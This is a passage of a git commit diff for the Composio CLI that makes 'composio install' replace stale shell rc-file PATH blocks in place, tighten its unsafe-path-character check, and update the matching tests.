Composio powers 1000+ toolkits, tool search, context management, authentication, and a sandboxed workbench to help you build AI agents that turn intent into action.
TypeScript agentic-aiagentsaiai-agentsaiagentsdeveloper-toolsfunction-callinggpt-4javascriptjsllmllmopsmcppythonremote-mcp-serverssetypescript
fix(cli): make composio install reconcile stale managed blocks
jkomyno745bd67cefd0
diff --git a/ts/packages/cli/src/commands/install.cmd.ts b/ts/packages/cli/src/commands/install.cmd.tsindex 64fb2af4e..9e1f6a5e9 100644--- a/ts/packages/cli/src/commands/install.cmd.ts+++ b/ts/packages/cli/src/commands/install.cmd.ts@@ -50,6 +50,7 @@ interface ShellConfig {readonly shell: Shell;readonly pathFiles: readonly string[];readonly completionFile: string;+ readonly pathLine: string;readonly pathBlock: string;readonly completionBlock: string | undefined;}@@ -61,8 +62,24 @@ interface ShellConfig {const MARKER = '# Composio CLI';const COMPLETIONS_MARKER = '# Composio CLI completions';-/** Reject bin-dir paths containing shell metacharacters to prevent injection into rc files. */-const UNSAFE_PATH_CHARS = /[:;`$|&"'()\n\r\\]/;+/**+ * Reject bin-dir paths that cannot be embedded safely in a managed rc line.+ *+ * The resolved dir is only ever emitted inside double quotes — `export+ * PATH="<dir>:$PATH"` for bash/zsh and `set --export PATH "<dir>" $PATH` for+ * fish — so the set is deliberately narrow:+ *+ * - `` ` ``, `$`, `\`, `"`: the only characters bash and zsh still expand+ * inside double quotes (`!` history expansion does not apply to sourced+ * files). fish expands a strict subset of those. Everything else — `;`, `|`,+ * `&`, `(`, `)`, `'` — is literal there, so a path like+ * `/Users/o'brien/.composio` is written verbatim rather than rejected.+ * - `\n`, `\r`: structural, not a quoting concern — either would split the+ * managed block into extra rc lines.+ * - `:`: structural too, as the PATH separator: a dir containing one would+ * silently prepend more than one entry.+ */+const UNSAFE_PATH_CHARS = /[`$"\\\n\r:]/;const isUnsafePath = (p: string): boolean => UNSAFE_PATH_CHARS.test(p);// SHELL, PATH, and COMPOSIO_BIN_DIR are read from the literal environment: SHELL@@ -145,13 +162,16 @@ const renderWithHome = (dir: string, homedir: string): string =>? `$HOME/${dir.slice(homedir.length + 1)}`: dir;-const pathBlockForShell = (shell: Shell, binDir: string, homedir: string): string => {+const pathLineForShell = (shell: Shell, binDir: string, homedir: string): string => {const rendered = renderWithHome(binDir, homedir);return shell === 'fish'- ? [MARKER, `set --export PATH "${rendered}" $PATH`].join('\n')- : [MARKER, `export PATH="${rendered}:$PATH"`].join('\n');+ ? `set --export PATH "${rendered}" $PATH`+ : `export PATH="${rendered}:$PATH"`;};+const pathBlockForShell = (shell: Shell, binDir: string, homedir: string): string =>+ [MARKER, pathLineForShell(shell, binDir, homedir)].join('\n');+/** Bash startup-file candidates that only bash's login mode reads, in read order. */const bashLoginOverrideCandidates = (path: Path.Path, homedir: string): string[] => [path.join(homedir, '.bash_profile'),@@ -216,6 +236,7 @@ const buildShellConfig = (shell === 'fish'? path.join(homedir, '.config', 'fish', 'completions', 'composio.fish'): pathFiles[0]!,+ pathLine: pathLineForShell(shell, binDir, homedir),pathBlock: pathBlockForShell(shell, binDir, homedir),completionBlock: completionScript ? `${COMPLETIONS_MARKER}\n${completionScript}` : undefined,});@@ -224,6 +245,38 @@ const buildShellConfig = (const fileContains = (contents: string, marker: string): boolean =>contents.split('\n').some(line => line.trim() === marker.trim());+/**+ * Splice the current managed PATH block over the one already in `contents`.+ *+ * The managed block runs from its `# Composio CLI` marker line up to the first+ * blank line, the completions marker, or end of file — the exact layout both+ * this command and install.sh's inline fallback produce, since blocks are+ * always separated by a blank line. That is what lets a legacy three-line block+ * (`export COMPOSIO_INSTALL_DIR=...` plus a PATH line derived from it) be+ * migrated to the current single-line form without touching a completions block+ * further down the file.+ *+ * Returns `None` when the file carries no marker at all, so the caller appends.+ */+const replaceManagedPathBlock = (contents: string, block: string): Option.Option<string> => {+ const lines = contents.split('\n');+ const isBlockEnd = (line: string): boolean =>+ line.trim() === '' || line.trim() === COMPLETIONS_MARKER;++ return Arr.findFirstIndex(lines, line => line.trim() === MARKER).pipe(+ Option.map(markerIndex => {+ const endIndex = Arr.findFirstIndex(Arr.drop(lines, markerIndex + 1), isBlockEnd).pipe(+ Option.map(offset => markerIndex + 1 + offset),+ Option.getOrElse(() => lines.length)+ );+ return Arr.appendAll(+ Arr.appendAll(Arr.take(lines, markerIndex), block.split('\n')),+ Arr.drop(lines, endIndex)+ ).join('\n');+ })+ );+};+const tildify = (p: string, homedir: string): string =>p.startsWith(homedir + '/') ? `~/${p.slice(homedir.length + 1)}` : p;@@ -275,13 +328,53 @@ const replaceFilePreservingMode = (yield* fs.rename(tmpPath, writeTarget);});+/**+ * Apply one rc file's queued changes: a stale managed block is spliced in+ * place, everything else is appended at the end.+ */+const applyFileChanges = (params: {+ readonly filePath: string;+ readonly rewritePathBlock: Option.Option<string>;+ readonly appendBlocks: ReadonlyArray<string>;+ readonly fs: FileSystem.FileSystem;+ readonly path: Path.Path;+}): Effect.Effect<void, PlatformError> =>+ Effect.gen(function* () {+ const { filePath, fs, path } = params;++ // Re-read instead of reusing the pre-check snapshot: two configured paths+ // can alias the same physical file through symlinks, and this write must+ // not discard a previous iteration's append.+ const existingContents = yield* readMaybeMissingFile(filePath, fs);+ const writeTarget = yield* resolveWriteTarget(filePath, fs);++ yield* fs+ .makeDirectory(path.dirname(writeTarget), { recursive: true })+ .pipe(+ Effect.catchAll(e =>+ Effect.logDebug('Could not create parent directory (may already exist):', e)+ )+ );++ const migrated = Option.match(params.rewritePathBlock, {+ onNone: () => existingContents,+ onSome: block =>+ Option.getOrElse(replaceManagedPathBlock(existingContents, block), () => existingContents),+ });+ const contents =+ params.appendBlocks.length > 0+ ? migrated + '\n' + params.appendBlocks.join('\n\n') + '\n'+ : migrated;++ yield* replaceFilePreservingMode(writeTarget, contents, fs);+ });+// ---------------------------------------------------------------------------// Exported logic (reusable from install.sh post-install delegation)// ---------------------------------------------------------------------------export const installShellIntegration = (params: {readonly completions: boolean;- readonly execPath?: string;readonly shell?: Shell;}): Effect.Effect<void,@@ -315,7 +408,7 @@ export const installShellIntegration = (params: {// that is this executable, then the runtime executable's own directory.const envBinDir = yield* readOptionalEnv('COMPOSIO_BIN_DIR');const localBinDir = path.join(os.homedir, '.local', 'bin');- const execPath = params.execPath ?? nodeProcess.execPath;+ const execPath = nodeProcess.execPath;const localBinComposioIsCurrentExecutable = yield* resolvesToCurrentExecutable(path.join(localBinDir, 'composio'),execPath,@@ -346,7 +439,6 @@ export const installShellIntegration = (params: {return yield* new ShellSetupAbortError({ message });}- const isExplicitShell = params.shell !== undefined;const shellEnv = yield* readEnvWithDefault('SHELL', '');const shell = params.shell ?? detectShellFromEnv(path, shellEnv);@@ -354,8 +446,13 @@ export const installShellIntegration = (params: {const binDirOnPath = isDirOnPath(pathEnv, binDir);if (!shell) {+ // With no shell there is no rc file to write, so the current process's+ // $PATH is all the evidence available. It says nothing about future+ // shells, hence the deliberately hedged wording.if (binDirOnPath) {- yield* success(`PATH: ${tildify(binDir, os.homedir)} is already on $PATH — nothing to do.`);+ yield* success(+ `PATH: ${tildify(binDir, os.homedir)} is already on $PATH in this process, and no shell config file could be identified — nothing to update.`+ );yield* ui.outro('Done');return;}@@ -417,31 +514,27 @@ export const installShellIntegration = (params: {}};- // Auto-detected mode may skip the PATH write entirely when the bin dir is- // already reachable; an explicit --shell always configures its files.- // Only applies to a genuinely fresh install: if any target file already- // carries our marker from a prior run, a file that appeared since then- // (e.g. a freshly created .bash_profile) still needs its own write, even- // though the invoking process's current $PATH already resolves.- const anyPathFileAlreadyMarked = config.pathFiles.some(filePath =>- fileContains(existingByFile.get(filePath) ?? '', MARKER)- );- const skipPathWriteForReachability =- !isExplicitShell && binDirOnPath && !anyPathFileAlreadyMarked;+ // Path files whose existing managed block is stale and must be replaced in+ // place rather than appended to.+ const pathRewrites = new Set<string>();let pathWritten = false;let loginOverrideWritten = false;const queuedPathTargets = new Set<string>();for (const filePath of config.pathFiles) {const existing = existingByFile.get(filePath) ?? '';const target = pathFileTargets.get(filePath)!;- if (- fileContains(existing, MARKER) ||- skipPathWriteForReachability ||- queuedPathTargets.has(target)- ) {- continue;+ if (queuedPathTargets.has(target)) continue;+ // The marker alone does not mean "configured": a block written by a+ // pre-`--shell` CLI or by install.sh's inline fallback still carries the+ // legacy `export COMPOSIO_INSTALL_DIR=` pair, and a block written for a+ // different bin dir points shells at the wrong binary. Only the exact+ // rendered line for the resolved bin dir is a no-op.+ if (fileContains(existing, config.pathLine)) continue;+ if (fileContains(existing, MARKER)) {+ pathRewrites.add(filePath);+ } else {+ pushBlock(filePath, config.pathBlock);}- pushBlock(filePath, config.pathBlock);queuedPathTargets.add(target);pathWritten = true;if (filePath === bashLoginOverride) loginOverrideWritten = true;@@ -449,8 +542,6 @@ export const installShellIntegration = (params: {if (pathWritten) {yield* step(`PATH: will add ${tildify(binDir, os.homedir)} to $PATH`);- } else if (skipPathWriteForReachability) {- yield* step('PATH: already on $PATH — nothing to do.');} else {yield* step('PATH: already configured');}@@ -475,24 +566,21 @@ export const installShellIntegration = (params: {}}- if (blocksByFile.size > 0) {- for (const [filePath, blocks] of blocksByFile.entries()) {- // Re-read instead of reusing the pre-check snapshot: two configured paths- // can alias the same physical file through symlinks, and this write must- // not discard a previous iteration's append.- const existingContents = yield* readMaybeMissingFile(filePath, fs);- const writeTarget = yield* resolveWriteTarget(filePath, fs);-- yield* fs- .makeDirectory(path.dirname(writeTarget), { recursive: true })- .pipe(- Effect.catchAll(e =>- Effect.logDebug('Could not create parent directory (may already exist):', e)- )- );-- const appendContent = '\n' + blocks.join('\n\n') + '\n';- yield* replaceFilePreservingMode(writeTarget, existingContents + appendContent, fs);+ const filesToWrite = [...new Set([...pathRewrites, ...blocksByFile.keys()])];++ if (filesToWrite.length > 0) {+ for (const filePath of filesToWrite) {+ // A stale managed block is replaced where it stands, so the user's own+ // ordering survives; everything else is appended.+ yield* applyFileChanges({+ filePath,+ rewritePathBlock: pathRewrites.has(filePath)+ ? Option.some(config.pathBlock)+ : Option.none(),+ appendBlocks: blocksByFile.get(filePath) ?? [],+ fs,+ path,+ });yield* success(`Updated ${tildify(filePath, os.homedir)}`);}@@ -500,7 +588,7 @@ export const installShellIntegration = (params: {yield* success('Shell integration already configured — nothing to do.');}- if (blocksByFile.size > 0) {+ if (filesToWrite.length > 0) {if (shell === 'fish') {yield* note('exec fish', 'Restart your shell to apply changes');} else if (shell === 'zsh') {@@ -530,12 +618,18 @@ export const installShellIntegration = (params: {/*** CLI command to set up shell integration (PATH and completions).*+ * The directory added to `PATH` is `COMPOSIO_BIN_DIR` when set — the documented+ * override an installer hands to this command — then `~/.local/bin` when its+ * `composio` entry point is this executable, then the running binary's own+ * directory.+ ** @example* ```bash* composio install* composio install --completions* composio install --no-completions* composio install --shell zsh+ * COMPOSIO_BIN_DIR=~/.local/bin composio install* ```*/export const installCmd = Command.make(@@ -546,4 +640,8 @@ export const installCmd = Command.make(completions: completions && !noCompletions,shell: Option.getOrUndefined(shell),})-).pipe(Command.withDescription('Set up shell integration (PATH and completions).'));+).pipe(+ Command.withDescription(+ 'Set up shell integration (PATH and completions). Set COMPOSIO_BIN_DIR to choose the directory added to PATH; it otherwise defaults to ~/.local/bin when that holds this executable, and to the directory of the running binary.'+ )+);diff --git a/ts/packages/cli/test/__utils__/services/test-layer.ts b/ts/packages/cli/test/__utils__/services/test-layer.tsindex 3498974c9..300ccdefe 100644--- a/ts/packages/cli/test/__utils__/services/test-layer.ts+++ b/ts/packages/cli/test/__utils__/services/test-layer.ts@@ -208,6 +208,16 @@ export interface TestLiveInput {* When set, replaces the default TerminalUITest (which auto-selects first option).*/terminalUI?: TerminalUI;++ /**+ * Override the running-executable path reported by `NodeProcess`.+ *+ * Declared as a function of the per-test home directory because that+ * directory is a fresh temp dir created while the layer is being built, so a+ * scenario that needs an exec path underneath it (e.g. `~/.local/bin/composio`)+ * cannot spell it out up front. Defaults to `<homedir>/composio`.+ */+ execPath?: (homedir: string) => string;}/**@@ -805,7 +815,7 @@ export const TestLayer = (input?: TestLiveInput) =>NodeProcess,new NodeProcess({cwd,- execPath: path.join(cwd, 'composio'),+ execPath: input?.execPath?.(cwd) ?? path.join(cwd, 'composio'),platform: 'darwin',arch: 'arm64',})diff --git a/ts/packages/cli/test/src/commands/install.cmd.test.ts b/ts/packages/cli/test/src/commands/install.cmd.test.tsindex d0efcc882..5d1f3c014 100644--- a/ts/packages/cli/test/src/commands/install.cmd.test.ts+++ b/ts/packages/cli/test/src/commands/install.cmd.test.ts@@ -12,6 +12,7 @@ import {} from 'src/commands/install.cmd';import { makeTerminalUI } from 'src/services/terminal-ui';import { cli, TestLive, MockConsole } from 'test/__utils__';+import type { TestLiveInput } from 'test/__utils__/services/test-layer';const makeSink = (isTTY: boolean) => {const chunks: string[] = [];@@ -39,16 +40,23 @@ const capturedStderrUI = makeTerminalUI({const SAFE_PATH = '/usr/bin:/bin';const TEST_EXEC_PATH = '/usr/local/bin/composio';const expectedRuntimeBinDir = (): string => path.dirname(TEST_EXEC_PATH);++/**+ * `installShellIntegration` reads the running executable from `NodeProcess`, so+ * a scenario picks its exec path when it builds the layer, not when it calls+ * the command.+ */+const TestInstallLive = (input: TestLiveInput = {}) =>+ TestLive({ execPath: () => TEST_EXEC_PATH, ...input });+const install = (params: {readonly completions?: boolean;- readonly execPath?: string;readonly shell?: Shell;} = {}) =>installShellIntegration({completions: params.completions ?? false,- execPath: params.execPath ?? TEST_EXEC_PATH,shell: params.shell,});@@ -73,7 +81,7 @@ describe('CLI: composio install', () => {});describe('[When] shell is zsh', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] creates .zshrc with PATH only by default', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -125,7 +133,7 @@ describe('CLI: composio install', () => {});describe('[When] shell is bash', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] creates .bashrc with PATH only by default', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -148,7 +156,7 @@ describe('CLI: composio install', () => {});describe('[When] bash has neither .bash_profile nor .bash_login', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] only .bashrc is created', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -166,7 +174,7 @@ describe('CLI: composio install', () => {});describe('[When] bash has an existing .bash_profile', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] the PATH block also lands in .bash_profile, and the restart hint mentions it',() =>@@ -197,7 +205,7 @@ describe('CLI: composio install', () => {});describe('[When] bash updates a private .bash_profile', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] preserves its existing file mode', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -219,7 +227,7 @@ describe('CLI: composio install', () => {});describe('[When] bash has only .bash_login (no .bash_profile)', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] the PATH block also lands in .bash_login', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -247,7 +255,7 @@ describe('CLI: composio install', () => {});describe('[When] bash has both .bash_profile and .bash_login', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] only .bash_profile receives the login PATH block', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -271,7 +279,7 @@ describe('CLI: composio install', () => {});describe('[When] .bash_profile is symlinked to the same file as .bashrc', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] the PATH block is written exactly once, not once per alias', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -297,11 +305,12 @@ describe('CLI: composio install', () => {});describe('[When] shell is fish', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] creates config.fish with PATH only by default', () =>Effect.gen(function* () {const os = yield* NodeOs;vi.stubEnv('SHELL', '/usr/bin/fish');+ const expectedBinDir = expectedRuntimeBinDir();yield* install();@@ -311,7 +320,7 @@ describe('CLI: composio install', () => {expect(contents).toContain('# Composio CLI');expect(contents).not.toContain('COMPOSIO_INSTALL_DIR');- expect(contents).toContain('set --export PATH');+ expect(contents).toContain(`set --export PATH "${expectedBinDir}" $PATH`);expect(contents).not.toContain('# Composio CLI completions');}));@@ -319,7 +328,7 @@ describe('CLI: composio install', () => {});describe('[When] --completions is passed', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] writes PATH block and installs completions', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -343,13 +352,14 @@ describe('CLI: composio install', () => {});describe('[When] fish shell installs completions', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] keeps PATH setup in config.fish and writes completions to composio.fish',() =>Effect.gen(function* () {const os = yield* NodeOs;vi.stubEnv('SHELL', '/usr/bin/fish');+ const expectedBinDir = expectedRuntimeBinDir();yield* install({ completions: true });@@ -366,7 +376,7 @@ describe('CLI: composio install', () => {const completionContents = yield* fs.readFileString(completionPath);expect(configContents).toContain('# Composio CLI');- expect(configContents).toContain('set --export PATH');+ expect(configContents).toContain(`set --export PATH "${expectedBinDir}" $PATH`);expect(configContents).not.toContain('# Composio CLI completions');expect(completionContents).toContain('# Composio CLI completions');@@ -383,7 +393,7 @@ describe('CLI: composio install', () => {});describe('[When] fish config and completions are symlinked to the same file', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] keeps both PATH and completions blocks', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -419,7 +429,7 @@ describe('CLI: composio install', () => {});describe('[When] fish shell installs completions twice', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] keeps config.fish and composio.fish idempotent', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -455,16 +465,16 @@ describe('CLI: composio install', () => {});describe('[When] --no-completions is passed', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] writes PATH block but skips completions', () =>Effect.gen(function* () {const os = yield* NodeOs;- vi.stubEnv('SHELL', '/bin/zsh');+ vi.stubEnv('SHELL', '/bin/bash');- yield* install();+ yield* cli(['install', '--no-completions']);const fs = yield* FileSystem.FileSystem;- const rcPath = path.join(os.homedir, '.zshrc');+ const rcPath = path.join(os.homedir, '.bashrc');const contents = yield* fs.readFileString(rcPath);expect(contents).toContain('# Composio CLI');@@ -472,14 +482,34 @@ describe('CLI: composio install', () => {const lines = yield* MockConsole.getLines();const output = lines.join('\n');- expect(output).toContain('Completions: skipped for zsh');+ expect(output).toContain('Completions: skipped by default');+ })+ );+ });+ });++ describe('[When] --shell and --completions are combined on the public CLI', () => {+ layer(TestInstallLive())(it => {+ it.scoped('[Then] the overridden shell gets both the PATH block and completions', () =>+ Effect.gen(function* () {+ const os = yield* NodeOs;+ const fs = yield* FileSystem.FileSystem;+ vi.stubEnv('SHELL', '/bin/zsh');+ const expectedBinDir = expectedRuntimeBinDir();++ yield* cli(['install', '--shell', 'bash', '--completions']);++ const contents = yield* fs.readFileString(path.join(os.homedir, '.bashrc'));+ expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);+ expect(contents).toContain('# Composio CLI completions');+ expect(yield* fs.exists(path.join(os.homedir, '.zshrc'))).toBe(false);}));});});describe('[When] install is run twice (idempotency)', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] does not duplicate entries', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -505,20 +535,19 @@ describe('CLI: composio install', () => {});});- describe('[When] .zshrc already has the marker', () => {- layer(TestLive())(it => {- it.scoped('[Then] reports already configured', () =>+ describe('[When] .zshrc already has the current managed PATH line', () => {+ layer(TestInstallLive())(it => {+ it.scoped('[Then] reports already configured and leaves the file untouched', () =>Effect.gen(function* () {const os = yield* NodeOs;const fs = yield* FileSystem.FileSystem;vi.stubEnv('SHELL', '/bin/zsh');+ const expectedBinDir = expectedRuntimeBinDir();- // Pre-populate .zshrc with existing config+ // Pre-populate .zshrc with the exact block a previous run would write.const rcPath = path.join(os.homedir, '.zshrc');- yield* fs.writeFileString(- rcPath,- '# existing config\n# Composio CLI\nexport PATH="$HOME/.local/bin:$PATH"\n# Composio CLI completions\n_composio() {}\n'- );+ const existing = `# existing config\n\n# Composio CLI\nexport PATH="${expectedBinDir}:$PATH"\n\n# Composio CLI completions\n_composio() {}\n`;+ yield* fs.writeFileString(rcPath, existing);yield* install({ completions: true });@@ -528,17 +557,122 @@ describe('CLI: composio install', () => {expect(output).toContain('Completions: skipped for zsh');expect(output).toContain('Shell integration already configured');- // File should not have grown+ expect(yield* fs.readFileString(rcPath)).toBe(existing);+ })+ );+ });+ });++ describe('[When] an rc file carries the legacy install.sh managed block', () => {+ layer(TestInstallLive())(it => {+ it.scoped('[Then] the stale block is migrated in place, not left or duplicated', () =>+ Effect.gen(function* () {+ const os = yield* NodeOs;+ const fs = yield* FileSystem.FileSystem;+ vi.stubEnv('SHELL', '/bin/zsh');+ const expectedBinDir = expectedRuntimeBinDir();++ const rcPath = path.join(os.homedir, '.zshrc');+ yield* fs.writeFileString(+ rcPath,+ [+ '# user config above',+ '',+ '# Composio CLI',+ 'export COMPOSIO_INSTALL_DIR="$HOME/.composio"',+ 'export PATH="$COMPOSIO_INSTALL_DIR:$PATH"',+ '',+ '# user config below',+ '',+ ].join('\n')+ );++ yield* install();+const contents = yield* fs.readFileString(rcPath);- const markerCount = contents.split('# Composio CLI').length - 1;- expect(markerCount).toBe(2);+ expect(contents).not.toContain('COMPOSIO_INSTALL_DIR');+ expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);+ expect(contents.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);+ // The block is replaced where it stood: the user's own lines keep+ // their relative order around it.+ expect(contents.indexOf('# user config above')).toBeLessThan(+ contents.indexOf('# Composio CLI')+ );+ expect(contents.indexOf('# Composio CLI')).toBeLessThan(+ contents.indexOf('# user config below')+ );++ const output = (yield* MockConsole.getLines()).join('\n');+ expect(output).toContain('PATH: will add');+ })+ );+ });+ });++ describe('[When] a legacy block sits above an existing completions block', () => {+ layer(TestInstallLive())(it => {+ it.scoped('[Then] migrating the PATH block leaves the completions block intact', () =>+ Effect.gen(function* () {+ const os = yield* NodeOs;+ const fs = yield* FileSystem.FileSystem;+ vi.stubEnv('SHELL', '/bin/bash');+ const expectedBinDir = expectedRuntimeBinDir();++ const rcPath = path.join(os.homedir, '.bashrc');+ yield* fs.writeFileString(+ rcPath,+ [+ '# Composio CLI',+ 'export COMPOSIO_INSTALL_DIR="$HOME/.composio"',+ 'export PATH="$COMPOSIO_INSTALL_DIR:$PATH"',+ '',+ '# Composio CLI completions',+ '_composio_completions() { :; }',+ '',+ ].join('\n')+ );++ yield* install({ completions: true });++ const contents = yield* fs.readFileString(rcPath);+ expect(contents).not.toContain('COMPOSIO_INSTALL_DIR');+ expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);+ expect(contents).toContain('_composio_completions() { :; }');+ expect(contents.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);+ expect(contents.match(/^# Composio CLI completions$/gm)?.length ?? 0).toBe(1);+ })+ );+ });+ });++ describe('[When] a migrated rc file is installed into a second time', () => {+ layer(TestInstallLive())(it => {+ it.scoped('[Then] the second run is a no-op', () =>+ Effect.gen(function* () {+ const os = yield* NodeOs;+ const fs = yield* FileSystem.FileSystem;+ vi.stubEnv('SHELL', '/bin/zsh');++ const rcPath = path.join(os.homedir, '.zshrc');+ yield* fs.writeFileString(+ rcPath,+ '# Composio CLI\nexport COMPOSIO_INSTALL_DIR="$HOME/.composio"\nexport PATH="$COMPOSIO_INSTALL_DIR:$PATH"\n'+ );++ yield* install();+ const afterFirst = yield* fs.readFileString(rcPath);+ yield* install();+ const afterSecond = yield* fs.readFileString(rcPath);++ expect(afterSecond).toBe(afterFirst);+ expect(afterSecond.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);}));});});describe('[When] shell cannot be detected', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] shows manual setup instructions', () =>Effect.gen(function* () {vi.stubEnv('SHELL', '');@@ -558,7 +692,7 @@ describe('CLI: composio install', () => {});describe('[When] shell cannot be detected but the bin dir is already on $PATH', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] reports already on PATH instead of asking for manual setup', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -583,7 +717,7 @@ describe('CLI: composio install', () => {});describe('[When] stderr is captured rather than a terminal', () => {- layer(TestLive({ terminalUI: capturedStderrUI }))(it => {+ layer(TestInstallLive({ terminalUI: capturedStderrUI }))(it => {it.scoped('[Then] still reports the rc file and how to reload the shell', () =>Effect.gen(function* () {vi.stubEnv('SHELL', '/bin/zsh');@@ -614,7 +748,7 @@ describe('CLI: composio install', () => {});describe('[When] --shell zsh overrides a conflicting $SHELL', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] writes ~/.zshrc, not ~/.bashrc', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -631,7 +765,7 @@ describe('CLI: composio install', () => {});describe('[When] --shell is parsed by the public CLI', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] a valid override reaches the requested shell integration', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -648,7 +782,7 @@ describe('CLI: composio install', () => {});describe('[When] --shell has an unsupported value', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] the public CLI rejects it during option parsing', () =>Effect.gen(function* () {const exit = yield* cli(['install', '--shell', 'powershell']).pipe(Effect.exit);@@ -659,7 +793,7 @@ describe('CLI: composio install', () => {});describe('[When] both completion flags are parsed by the public CLI', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] --no-completions takes precedence', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -677,7 +811,7 @@ describe('CLI: composio install', () => {});describe('[When] --shell bash overrides a conflicting $SHELL', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] writes ~/.bashrc, not ~/.zshrc', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -694,7 +828,7 @@ describe('CLI: composio install', () => {});describe('[When] --shell fish is passed with $SHELL unset', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] writes config.fish', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -711,7 +845,7 @@ describe('CLI: composio install', () => {});describe('[When] --shell is explicit and the bin dir is already on the invoking $PATH', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] still writes the requested shell, and re-running stays idempotent', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -731,9 +865,9 @@ describe('CLI: composio install', () => {});});- describe('[When] auto-detected shell has its bin dir already on $PATH', () => {- layer(TestLive())(it => {- it.scoped('[Then] writes nothing and reports already on PATH, with no restart hint', () =>+ describe('[When] auto-detected shell has its bin dir already on the invoking $PATH', () => {+ layer(TestInstallLive())(it => {+ it.scoped('[Then] the rc file is still written, since a transient $PATH proves nothing', () =>Effect.gen(function* () {const os = yield* NodeOs;vi.stubEnv('SHELL', '/bin/zsh');@@ -743,51 +877,51 @@ describe('CLI: composio install', () => {yield* install();const fs = yield* FileSystem.FileSystem;- expect(yield* fs.exists(path.join(os.homedir, '.zshrc'))).toBe(false);+ const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));+ expect(contents).toContain(`export PATH="${binDir}:$PATH"`);const lines = yield* MockConsole.getLines();const output = lines.join('\n');- expect(output).toContain('already on $PATH');- expect(output).not.toContain('Restart your shell');+ expect(output).toContain('PATH: will add');+ expect(output).toContain('Restart your shell');}));});});- describe('[When] a new .bash_profile appears after .bashrc was already configured, and the bin dir is already on $PATH', () => {- layer(TestLive())(it => {- it.scoped(- '[Then] the new .bash_profile still gets the PATH block, not skipped by the reachability check',- () =>- Effect.gen(function* () {- const os = yield* NodeOs;- const fs = yield* FileSystem.FileSystem;- vi.stubEnv('SHELL', '/bin/bash');- const binDir = expectedRuntimeBinDir();- vi.stubEnv('PATH', `${SAFE_PATH}:${binDir}`);-- // Simulate a prior `composio install` run that already configured .bashrc.- const bashrcPath = path.join(os.homedir, '.bashrc');- yield* fs.writeFileString(- bashrcPath,- `# Composio CLI\nexport PATH="${binDir}:$PATH"\n`- );+ describe('[When] a new .bash_profile appears after .bashrc was already configured', () => {+ layer(TestInstallLive())(it => {+ it.scoped('[Then] the new .bash_profile gets the PATH block and .bashrc is left alone', () =>+ Effect.gen(function* () {+ const os = yield* NodeOs;+ const fs = yield* FileSystem.FileSystem;+ vi.stubEnv('SHELL', '/bin/bash');+ const binDir = expectedRuntimeBinDir();+ vi.stubEnv('PATH', `${SAFE_PATH}:${binDir}`);- // .bash_profile shows up afterward and was never configured.- const bashProfilePath = path.join(os.homedir, '.bash_profile');- yield* fs.writeFileString(bashProfilePath, '# existing login config\n');+ // Simulate a prior `composio install` run that already configured .bashrc.+ const bashrcPath = path.join(os.homedir, '.bashrc');+ yield* fs.writeFileString(bashrcPath, `# Composio CLI\nexport PATH="${binDir}:$PATH"\n`);- yield* install();+ // .bash_profile shows up afterward and was never configured.+ const bashProfilePath = path.join(os.homedir, '.bash_profile');+ yield* fs.writeFileString(bashProfilePath, '# existing login config\n');- const bashProfileContents = yield* fs.readFileString(bashProfilePath);- expect(bashProfileContents).toContain('# Composio CLI');- })+ yield* install();++ const bashProfileContents = yield* fs.readFileString(bashProfilePath);+ expect(bashProfileContents).toContain('# Composio CLI');+ // 